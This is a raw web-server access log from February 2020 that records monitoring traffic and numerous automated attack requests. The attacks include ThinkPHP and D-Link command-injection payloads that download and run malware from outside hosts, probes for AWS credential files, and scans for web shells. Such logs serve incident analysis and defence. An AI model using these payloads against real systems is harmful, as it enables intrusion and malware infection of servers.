1.54.169.121 - - [01/Feb/2020:15:00:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:15:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:15:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:15:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.88.83.87 - - [01/Feb/2020:15:03:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:15:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:15:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.27.199.103 - - [01/Feb/2020:15:05:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:15:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.231.41.235 - - [01/Feb/2020:15:06:32 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.231.41.235 - - [01/Feb/2020:15:06:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
212.91.246.72 - - [01/Feb/2020:15:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.114.130.212 - - [01/Feb/2020:15:07:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:15:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.48.91.225 - - [01/Feb/2020:15:07:52 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
119.7.172.25 - - [01/Feb/2020:15:07:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:15:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.203.185 - - [01/Feb/2020:15:09:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.114.224.102 - - [01/Feb/2020:15:09:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:15:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.242.169.171 - - [01/Feb/2020:15:10:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [01/Feb/2020:15:10:34 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:15:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.117.198.174 - - [01/Feb/2020:15:11:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:15:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:15:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:15:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:15:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:15:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.137.1 - - [01/Feb/2020:15:16:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:15:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.21.46.176 - - [01/Feb/2020:15:16:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
95.128.200.200 - - [01/Feb/2020:15:16:53 +0100] "GET / HTTP/1.1" 200 1229 "https://www.google.de" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:15:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.104.36.159 - - [01/Feb/2020:15:17:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:15:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.248.167.133 - - [01/Feb/2020:15:19:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:15:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.48.126.225 - - [01/Feb/2020:15:20:32 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
42.113.247.39 - - [01/Feb/2020:15:20:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:15:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [01/Feb/2020:15:21:35 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [01/Feb/2020:15:21:36 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:15:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:15:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.240.232 - - [01/Feb/2020:15:23:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:15:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:15:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.116.241 - - [01/Feb/2020:15:24:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.207.168.119 - - [01/Feb/2020:15:25:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:15:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:15:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:15:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:15:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [01/Feb/2020:15:29:42 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:15:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:15:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.30.85 - - [01/Feb/2020:15:30:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
91.208.184.71 - - [01/Feb/2020:15:31:20 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://91.208.184.71/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [01/Feb/2020:15:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.182.90.29 - - [01/Feb/2020:15:31:45 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
58.186.77.100 - - [01/Feb/2020:15:32:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:15:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.113.82 - - [01/Feb/2020:15:33:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:15:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.2.252 - - [01/Feb/2020:15:34:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:15:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:15:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.6.169.41 - - [01/Feb/2020:15:35:51 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [01/Feb/2020:15:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.6.169.41 - - [01/Feb/2020:15:37:34 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [01/Feb/2020:15:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:15:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
13.125.205.70 - - [01/Feb/2020:15:38:54 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
183.80.240.212 - - [01/Feb/2020:15:39:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.195.152.131 - - [01/Feb/2020:15:39:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:15:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.177.189 - - [01/Feb/2020:15:40:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:15:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.106.220 - - [01/Feb/2020:15:41:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:15:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:15:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.37.56 - - [01/Feb/2020:15:43:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
106.13.37.56 - - [01/Feb/2020:15:43:20 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
106.13.37.56 - - [01/Feb/2020:15:43:20 +0100] "POST /Admin51f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:15:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.37.56 - - [01/Feb/2020:15:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
106.13.37.56 - - [01/Feb/2020:15:43:55 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
73.33.112.155 - - [01/Feb/2020:15:43:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.13.37.56 - - [01/Feb/2020:15:44:08 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
106.13.37.56 - - [01/Feb/2020:15:44:08 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
106.13.37.56 - - [01/Feb/2020:15:44:08 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
106.13.37.56 - - [01/Feb/2020:15:44:32 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
212.91.246.72 - - [01/Feb/2020:15:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.37.56 - - [01/Feb/2020:15:44:56 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
113.194.23.70 - - [01/Feb/2020:15:45:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.13.37.56 - - [01/Feb/2020:15:45:20 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
13.127.222.190 - - [01/Feb/2020:15:45:30 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:15:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.37.56 - - [01/Feb/2020:15:45:44 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
106.13.37.56 - - [01/Feb/2020:15:46:09 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
106.13.37.56 - - [01/Feb/2020:15:46:32 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
212.91.246.72 - - [01/Feb/2020:15:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.37.56 - - [01/Feb/2020:15:46:55 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
106.13.37.56 - - [01/Feb/2020:15:46:56 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:46:56 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:46:56 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:46:56 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:46:58 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:00 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:00 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:00 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:00 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:00 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:00 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:01 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:01 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:02 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:04 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:04 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:04 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:05 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:06 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:08 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
106.13.37.56 - - [01/Feb/2020:15:47:08 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
91.246.109.18 - - [01/Feb/2020:15:47:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
